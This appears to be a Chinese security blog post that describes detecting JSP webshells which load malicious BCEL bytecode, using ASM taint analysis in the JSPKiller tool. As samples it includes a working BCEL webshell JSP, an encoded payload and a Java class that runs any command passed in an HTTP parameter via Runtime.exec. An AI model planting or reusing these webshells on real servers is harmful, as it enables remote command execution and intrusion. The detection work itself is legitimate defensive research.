加载恶意字节码Webshell的检测

本文首发于先知社区:https://xz.aliyun.com/t/10636

0x00 背景

最近在研究免杀Webshell的检测

发现最强Webshell检测WAF某斯盾在处理BCELClassLoader和自定义ClassLoader的情况下是直接通杀,而不是真正分析其中的字节码,一定程度上可能存在误报

例如以下的BCELClassLoaderWebshell

<%
    String cmd = request.getParameter("cmd");
    // 恶意的字节码
    String bcelCode = "$$BCEL$$...";
    com.sun.org.apache.bcel.internal.util.ClassLoader loader =
            new com.sun.org.apache.bcel.internal.util.ClassLoader();
    Class<?> clazz = loader.loadClass(bcelCode);
    java.lang.reflect.Constructor<?> constructor = clazz.getConstructor(String.class);
    Object obj = constructor.newInstance(cmd);
    response.getWriter().print(obj.toString());
%>

恶意对象的构造方法传入cmd命令将回显结果保存在局部变量res中通过toString返回

public class ByteCodeEvil {
    String res;
    public ByteCodeEvil(String cmd) throws IOException {
        StringBuilder stringBuilder = new StringBuilder();
        BufferedReader bufferedReader = new BufferedReader(
                new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
        String line;
        while ((line = bufferedReader.readLine()) != null) {
            stringBuilder.append(line).append("\n");
        }
        // 回显
        this.res = stringBuilder.toString();
    }
    public String toString() {
        return this.res;
    }
}

这种情况下被检测到Webshell是正常情况

但是我发现如果把字节码改为非法或非恶意的情况,还是可以检测出Webshell

// 非法字节码
String bcelCode = "4ra1n";
// 合法但无恶意操作字节码
String bcelCode = "$$BCEL$$$...";

是否可以深入字节码做进一步的分析来判断是否属于Webshell

参考上一篇文章,总体检测过程分为下面这四步

  • 解析输入的JSP文件转成Java代码文件
  • 使用ToolProvider获得JavaCompiler动态编译Java代码
  • 编译后得到的字节码用ASM进行分析
  • 基于ASM模拟栈帧的变化实现污点分析

第四步具体的内容

  • 判断是否存在new ClassLoader().loadClass(bytecode)这样的调用
  • 获取其中的bytecode再用ASM分析遍历所有方法,判断是否存在危险操作
  • 第二点的危险操作分析中source是该方法任何一个参数,sinkRuntime.exec方法

0x01 效果

正常的BCEL Webshell

<%
    String cmd = request.getParameter("cmd");
    String bcelCode = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85U$5bW$hU$U$fe$86$ML$Y$86B$93R$$Z$bcQ$hn$j$ad$b7Z$w$da$mT4$5c$84$W$a4x$9bL$Oa$e8d$sN$s$I$de$aa$fe$86$fe$87$beZ$97$86$$q$f9$e8$83$8f$fe$M$7f$83$cb$fa$9dI$I$89$84$e5$ca$ca$3es$f6$de$b3$f7$b7$bf$bd$cf$99$3f$fe$f9$e57$A$_$e3$7b$jC$98$d6$f0$a6$8e6$b9$be$a5$e1$86$8e4f$a4x$5b$c7$y$e6t$b4$e3$a6$O$V$efH1$_$j$df$8d$e3$3d$b9f$3a$d1$8b$F$N$8b$3a$96$b0$i$c7$fb$3aV$b0$aa$e3$WnK$b1$a6c$j$ltb$Dw$e2$d8$d4$f1$n$3e$d2$f0$b1$82X$mJ$K$S$99$jk$d72$5d$cb$cb$9b$aba$e0x$f9$v$F$j$d7$j$cf$J$a7$V$f4$a5N$9aG$d7$U$a83$7eN$u$e8$c98$9eX$y$X$b2$o$b8ee$5d$n$c3$f9$b6$e5$aeY$81$p$f75$a5$gn$3bL$a5g$d2$b6pgw$j$97$vbv$n$a7$a0$bb$U$c5L$97$j7$t$C$F$83$t$d2$d5L$7c$e3L$b6$bc$b5$r$C$91$5b$RV$e4$3cPuv$7c3$ddd$a1$af$ea$S$Y$c3$af$86$96$7dw$c1$wF$40$c8$90$86O$c82$J$s$9a$d9$3d$5b$UC$c7$f7J$g$3eU$Q$P$fdjF$F$e7R$a3$adXQ$L$96$e3$v8$9f$da$3c$85$U$x$c8$b3$ccd$L$b3$82$$$c7$x$96Cn$85U$m$afu$e8$f3$c7jz$b5g$f7C$d9$95$b6$cd4$e3$d9$R$c9$fa$aa_$Ol1$e7H$w$bb$8f$u$bc$y$D$Y$b8$AKA$ff$v$a4$Rkk$86Ht$8b$fcU$9b$86$ac$B$h9$D$C$5b$g$f2$G$b6$e1$c8D$3bR$dc5$e0$e2$8a$81$C$c8$84$a2$hxQ$ee$9e$c0$93$q$f0$I$9a$G$df$40$R$9f$b1eu$b4$b6k$95$c8s$60$a0$84PC$d9$c0$$$3e7$b0$87$7d$N_$Y$f8$S_i$f8$da$c07$b8$c7$40$p$p$e9$99$d9$cc$c8$88$86o$N$7c$87a$F$bd$c7$V$$ew$84$j6$a9$8e$fa$96$ac$X$b5To$$$t$z$r$9bs$f6$d8$7d$a5$ec$85NA2$9b$Xa$7d$d3$d7$d4$f4$9aZv$5d$ec$J$5b$c1$a5V$t$a1A$b5$i$f8$b6$u$95$a6$9a2$d5$94$q$82$99$e6$h$H$a0$ff$u$db$89$R$YH$b54$c8$g$92$c7$a6$da$a4Km$9c$f6$5c$s$9a$f7$O$abX$U$k$cf$d5$e4$ff$a0$fd$ef$d9$ea96$cd$c8NU$RG$8f$Z$bf61M$fc4$98$f8z_K$D$BK$82E$v$9a$df$h$a5$a3$daGO$Hw$82$8dd$L$b5$82N$w$j$b7z$b9$b0$bd$f3$ec$92$q$81$e7$t$b5$99$96$db$x$b6_0Ke$cf$f4$83$bci$V$z$7b$5b$98Y$ce$a2$e9x$a1$I$3c$cb5$a3$81$dc$e2$992o$87$8e$eb$84$fbdOx$d5$T$d7$cf$uwZ$5e$B$8dC$b7_$K$F$b1$c4$fcr$d8x$a0$97$e9$da$C$7f$83Z$81V$94$3b$d7$c33$bc$b9$87$f8$JP$f8$e7$n$a2$8c$f1$f9$C$86y$ad$3f$c5$dd$9f$e8$e0$bd$P$dc$i$3b$80r$88$b6$8d$D$c4$W$O$a1n$i$a2$7d$e3$R$3a$c6$x$d0$w$88$l$a0$f3$A$fa$e2d$F$5d$h$d7$d4$df$91$98$YT$x0$S$dd$U$eb$P$k$ff56Q$c1$99$9f$d1$f30J$f04$e504$ca$$$7eJ$M$fe$baq$R$3d0$Jf$g$J$cc$nI$60$f2$bb$U$a5$c6$b3x$O$88$9eF$IQ$a1$ff$U$fd$9f$t$c4$8b$b4$5dB$8a1$t$I$7f$94V$VcQ$vm$8fiT5$8ck$98$d00$a9$e12$f07$G$b8c$g$d0M$c1$L$fc$f3$f6$a0$94$95$9a$5c$r$L$edc$3f$a1$e7$H$3e$b4E8$3b$oe$7f$84$c7$a8$3a$d4$f0t$e2$r$o$ac$d2t$9f$IT$aeW$T$bd$V$9cM$q$wHfH$cd$b9_$e3$L$e3$y$bdo$7dB$7d$84$f3$8b$3f$a2$bf$c6ab$80$cc$90$$$83$bcT0$f8$b0$9eo$88$Z$r$fe$$$d6$92$60$p$G$c8$d40s$bcF$ab$c40V$cd$83W$f0j$c4$df$q$zW$89$xA$3e$5e$c75F$Zf$8c$v$be$jk$w$f4z$94$e1$8d$7f$BP$cbmH$f2$H$A$A";
    com.sun.org.apache.bcel.internal.util.ClassLoader loader =
            new com.sun.org.apache.bcel.internal.util.ClassLoader();
    Class<?> clazz = loader.loadClass(bcelCode);
    java.lang.reflect.Constructor<?> constructor = clazz.getConstructor(String.class);
    Object obj = constructor.newInstance(cmd);
    response.getWriter().print(obj.toString());
%>

首先分析了JSP内容然后分析字节码发现是Webshell

如果这里的BCEL字节码是普通的一个类(例如这样一个工具类)

public class Main {
    private static final Logger logger = Logger.getLogger(Main.class);
    public static void main(String[] args) {
        try {
            URI uri = Main.class.getResource("Main.class").toURI();
            String bcel = Utility.encode(Files.readAllBytes(Paths.get(uri)),true);
            System.out.println(bcel);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

分析字节码后发现没有问题,认为不是Webshell

如果设置成非法的字节码

<%
    String cmd = request.getParameter("cmd");
    String bcelCode = "4ra1n";
    com.sun.org.apache.bcel.internal.util.ClassLoader loader =
            new com.sun.org.apache.bcel.internal.util.ClassLoader();
    Class<?> clazz = loader.loadClass(bcelCode);
    java.lang.reflect.Constructor<?> constructor = clazz.getConstructor(String.class);
    Object obj = constructor.newInstance(cmd);
    response.getWriter().print(obj.toString());
%>

程序发现这是非法字节码会停下,那么自然查不出问题

0x02 分析类加载

检测的基本原理是用ASM模拟JVM栈帧操作实现污点分析

参考之前的文章:

核心原理具体代码:JSPKiller/CoreMethodAdapter

首先取到其中的BCEL ByteCode

LDC "$$BCEL$$$..."
ASTORE 4

图示如下

对应代码结合图片来看会很简单

@Override
public void visitLdcInsn(Object cst) {
    if (cst instanceof String) {
        // 如果以$$BCEL$$$开头认为是BCEL ByteCode
        if (((String) cst).startsWith("$$BCEL$$$")) {
            // 保存下这个ByteCode后续分析
            this.analysisData.put("bcel-bytecode", cst);
            logger.info("find BCEL bytecode");
            super.visitLdcInsn(cst);
            // 参考图中把栈顶染红
            operandStack.get(0).add("bcel-bytecode");
            return;
        }
    }
    super.visitLdcInsn(cst);
}

判断是否调用到new ClassLoader().loadClass(bytecode)

调用构造方法的字节码如下

NEW com/sun/org/apache/bcel/internal/util/ClassLoader
DUP
INVOKESPECIAL com/sun/org/apache/bcel/internal/util/ClassLoader.<init> ()V
ASTORE 5

图片表示为

当执行完NEW指令后压入一个对象引用,执行时候弹出一个这时剩余的一个对象就是被初始化后

保存至局部变量表第6位,我们将这个对象标记为黄色

代码中表示如下

@Override
public void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) {
    // 匹配BCEL ClassLoader的构造方法
    boolean bcelInit = owner.equals("com/sun/org/apache/bcel/internal/util/ClassLoader") &&
        name.equals("<init>") && desc.equals("()V") && opcode == Opcodes.INVOKESPECIAL;
    if (bcelInit) {
        logger.info("new BCEL ClassLoader");
        // 模拟弹栈操作
        super.visitMethodInsn(opcode, owner, name, desc, itf);
        // 相当于给栈顶染成黄色
        operandStack.get(0).add("new-bcel-classloader");
        // 一定记得return  
        return;
    }
    super.visitMethodInsn(opcode, owner, name, desc, itf);
}

调用loadClass的字节码如下

ALOAD 5
ALOAD 4
INVOKEVIRTUAL com/sun/org/apache/bcel/internal/util/ClassLoader.loadClass (Ljava/lang/String;)Ljava/lang/Class;
ASTORE 6

图示如下

代码如下

@Override
public void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) {
    // 是否匹配到BCELClassLoader.loadClass方法调用
    boolean bcelLoadClass = owner.equals("com/sun/org/apache/bcel/internal/util/ClassLoader") &&
        name.equals("loadClass") && desc.equals("(Ljava/lang/String;)Ljava/lang/Class;")
        && opcode == Opcodes.INVOKEVIRTUAL;
    if (bcelLoadClass) {
        logger.info("BCEL ClassLoader loadClass method invoked");
        // 参考图示判断栈顶是否是BCEL ByteCode
        if (operandStack.get(0).contains("bcel-bytecode")) {
            logger.info("use found bytecode");
            // 设置一个flag表示发现了loadClass调用
            this.analysisData.put("load-bcel", true);
        }
        super.visitMethodInsn(opcode, owner, name, desc, itf);
        return;
    }
    super.visitMethodInsn(opcode, owner, name, desc, itf);
}

可以进一步判断ClassLoader是不是黄色的

换句话来说也就是判断是否包含new-bcel-classloader这个flag

0x03 分析字节码

得到Class后续还会有反射调用等情况,这里就不做进一步的分析了,如果恶意的字节码被加载到JVM那么99%可以确定这个JSP脚本有问题,重点在于分析这个字节码本身

ClassReader cr = new ClassReader(classData);
BcelShellClassVisitor cv = new BcelShellClassVisitor();
cr.accept(cv, ClassReader.EXPAND_FRAMES);
Map<String,Object> data = cv.getAnalysisData();

通过上文的初步分析,可以得到一个结果data数组,正常情况下应该包含两个元素

  • load-bcel --> true
  • bcel-bytecode ---> BCEL字节码
// 判断BCELClassLoader.loadClass这一过程是否顺利
if(data.containsKey("load-bcel") && data.containsKey("bcel-bytecode")){
    String bcelCode = (String) data.get("bcel-bytecode");
    bcelCode = bcelCode.substring(8);
    // 自己造一个BCEL解码工具类
    byte[] byteCode = BcelUtil.decode(bcelCode,true);
    logger.info("analysis BCEL bytecode");
    // 字节码分析
    ClassReader bcelCr = new ClassReader(byteCode);
    SimpleShellClassVisitor bcelCv = new SimpleShellClassVisitor();
    bcelCr.accept(bcelCv, ClassReader.EXPAND_FRAMES);
}

上文其实有一处细节:没有选择Utility这个JDK自带的类来做解码,因为在高版本JDK中不包含这个类,防止出现意外情况所以我从Utility里扣出来decode方法写入自己的BcelUtil

在具体的字节码分析中,需要做的是遍历每一个方法而不仅仅对构造方法和静态代码块做分析

@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
                                 String signature, String[] exceptions) {
    MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
    // 任何情况都会进入SimpleShellMethodAdapter分析
    SimpleShellMethodAdapter simpleShellMethodAdapter = new SimpleShellMethodAdapter(
        Opcodes.ASM8,
        mv, this.name, access, name, descriptor, signature, exceptions,
        analysisData
    );
    return new JSRInlinerAdapter(simpleShellMethodAdapter,
                                 access, name, descriptor, signature, exceptions);
}

在分析具体每一个方法的时候,认为除了this参数以外的任何参数都是可控变量source

@Override
public void visitCode() {
    // 让父类模拟操作栈和局部变量表的初始化
    super.visitCode();
    // 初始化结束后局部变量表里保存着方法参数
    if (localVariables.size() > 1) {
        // 第0位是this不考虑分析
        for (int i = 1; i < localVariables.size(); i++) {
            logger.info("set param index:" + i + " is taint");
            // 除了第0位的this其他地方都加入taint的flag
            localVariables.get(i).add("taint");
        }
    }
}

分析其中是否包含了Runtime.getRuntime这样的调用

注意:这只是一种情况,不过是最多的情况,比如反射等方式,暂不考虑更多的情况

@Override
public void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) {
    // Runtime.getRuntime这样的调用
    boolean getRuntimeExpr = owner.equals("java/lang/Runtime") &&
        name.equals("getRuntime") && desc.equals("()Ljava/lang/Runtime;") &&
        opcode == Opcodes.INVOKESTATIC;
    // Runtime.exec这样的调用
    boolean execExpr = owner.equals("java/lang/Runtime") &&
        name.equals("exec") && desc.equals("(Ljava/lang/String;)Ljava/lang/Process;") &&
        opcode == Opcodes.INVOKEVIRTUAL;
    // 匹配到getRuntime
    if (getRuntimeExpr) {
        super.visitMethodInsn(opcode, owner, name, desc, itf);
        operandStack.get(0).add("runtime");
        return;
    }
    // 匹配到exec
    if (execExpr) {
        // 为什么要取操作栈的第2位判断?
        if (operandStack.get(1).contains("runtime")) {
            logger.info("Runtime.exec method invoked");
            // 为什么要取操作栈第1位判断?
            if (operandStack.get(0).contains("taint")) {
                // 如果符合这两步条件认为存在恶意操作
                logger.info("find BCEL webshell");
                super.visitMethodInsn(opcode, owner, name, desc, itf);
                // 一定记得return
                return;
            }
        }
    }
    super.visitMethodInsn(opcode, owner, name, desc, itf);
}

上面代码有两个问题,直接看毫无思路,但是结合字节码和图片就会一目了然

INVOKESTATIC java/lang/Runtime.getRuntime ()Ljava/lang/Runtime;
ALOAD 1
INVOKEVIRTUAL java/lang/Runtime.exec (Ljava/lang/String;)Ljava/lang/Process;

图片表示如下

在初始化局部变量表的时候,将除了第0位的this以外的所有参数都设置为taint也就是图中的黄色,在Runtime.exec这个过程中参数会被压栈

这就解释了上文代码中为什么要取第0位第1位判断以及分别的逻辑是怎样的

0x04 总结

一些问题和思考

  • 如果在字节码里面再加载字节码,一层套一层,如何解决(递归?)
  • 目前考虑的是JSP中直接使用BCEL ClassLoader的情况,还有反射等形式(照猫画虎即可)
  • 正常应用会使用BCEL ClassLoader吗,某斯盾简单粗暴的拦截是否是一种高效的解决方案
  • 针对于自定义ClassLoader的情况简单粗暴解决是否欠妥,实际开发中有可能会自定义ClassLoader

代码已更新到我的工具JSPKiller中:https://github.com/EmYiQing/JSPKiller

并提供了对应的检测脚本,有兴趣的师傅可以试试